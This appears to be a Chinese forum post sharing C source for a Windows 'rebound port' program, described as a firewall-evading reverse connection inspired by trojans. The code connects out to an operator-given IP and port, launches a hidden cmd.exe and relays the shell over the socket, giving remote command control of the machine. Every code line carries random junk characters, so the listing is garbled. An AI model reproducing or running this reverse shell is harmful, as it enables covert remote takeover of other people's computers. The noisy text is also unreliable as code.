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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )a7nr<)aU  
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/* ============================== mM[KT} A  
Rebound port in Windows NT 9V'ok.B.x  
By wind,2006/7 &gxWdG}qx]  
===============================*/ B|f =hlY  
#include mBwM=LAZ  
#include _YK66cS3E/  
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#pragma comment(lib,"wsock32.lib") 9 HiH6f^5  
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void OutputShell(); 7 I$~E  
SOCKET sClient; '!hA!eo>J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yjF;%A/0  
"^froQ{"T  
void main(int argc,char **argv) ia9=&Hy])  
{ z [|:HS&  
WSADATA stWsaData; Tqf:G4!  
int nRet; +GYO<N7  
SOCKADDR_IN stSaiClient,stSaiServer; ,J$XVvwxF  
**G5fS.^W  
if(argc != 3) `iQ])C^d  
{ B,5kG{2!  
printf("Useage:\n\rRebound DestIP DestPort\n"); a23XrX  
return; bo-AM]  
} &E?TR A# E  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Vsj1!}X:  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3LkcK1x.  
=#Z+WD-E  
stSaiClient.sin_family = AF_INET; o*t4zF&n  
stSaiClient.sin_port = htons(0); V+$^4Ht  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0X<U.Sxn  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3a\De(;  
{ Oxp!G7qfo  
printf("Bind Socket Failed!\n"); "- ?uB Mz  
return; n1Wo<$#  
} v[2N-  
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stSaiServer.sin_family = AF_INET; eY V Jk7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YlhyZ&a,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zl3GWj|?\7  
RxYC]R^78  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;Tec)Fl  
{ _2a)b(<tF  
printf("Connect Error!"); t?(fDWd|-  
return; "?M)2,:A  
} )Tl]1^  
OutputShell(); 9*2Q'z}_  
} 8yC/:_ML  
hDf!l$e.  
void OutputShell() 47=YP0r?>T  
{ Qx_]oz]NY  
char szBuff[1024]; }Pm; xHnf&  
SECURITY_ATTRIBUTES stSecurityAttributes; 8Q(A1U  
OSVERSIONINFO stOsversionInfo; :\]qB&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u_=^Bd   
STARTUPINFO stStartupInfo; 8~}~ d}wW  
char *szShell; }rQ0*h  
PROCESS_INFORMATION stProcessInformation; JKF/z@Vbe\  
unsigned long lBytesRead; "!9FJ Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0O!A8FA0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |Kq<}R  
stSecurityAttributes.lpSecurityDescriptor = 0; aT~=<rEDy  
stSecurityAttributes.bInheritHandle = TRUE; iOB*K)U1  
dAr=X4LE  
{ V$}qa{P  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }F';"ybrU)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [85b+SKW  
C({r1l4[D  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hEA;5-m  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {rzvZ0-j}  
stStartupInfo.wShowWindow = SW_HIDE; "H\R*\-0  
stStartupInfo.hStdInput = hReadPipe; B.4Or]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 98Y1-Z^ .  
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GetVersionEx(&stOsversionInfo); ~hb;kc3  
8 +mW  
switch(stOsversionInfo.dwPlatformId) ;--p/h*.  
{ .1f!w!ltVR  
case 1: =>- W!Of  
szShell = "command.com"; @ek8t2??x  
break; +O4//FC-"  
default: zmhAeblA  
szShell = "cmd.exe"; w$0*5n>)  
break; re fAgS!=q  
} juA}7   
]$!7;P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w :9M6+mM^  
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send(sClient,szMsg,77,0); z .+J\  
while(1) #G\Ae:O  
{ 6Z5$cR_vC7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); TMD*-wYr  
if(lBytesRead) uBw[|,yn2*  
{ c27Zh=;Tj  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ' L-h2  
send(sClient,szBuff,lBytesRead,0); kvN<o-B  
} Xb@dQRVX  
else +bk+0k9k5  
{ xD9ZL  
lBytesRead=recv(sClient,szBuff,1024,0); 7[1 VFc#tf  
if(lBytesRead<=0) break; QN;GMX5&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r_MP[]f|0  
} +4F; m_G6  
} _^D-nk?  
F$S/zh$)0  
return; y]g5S-G  
}
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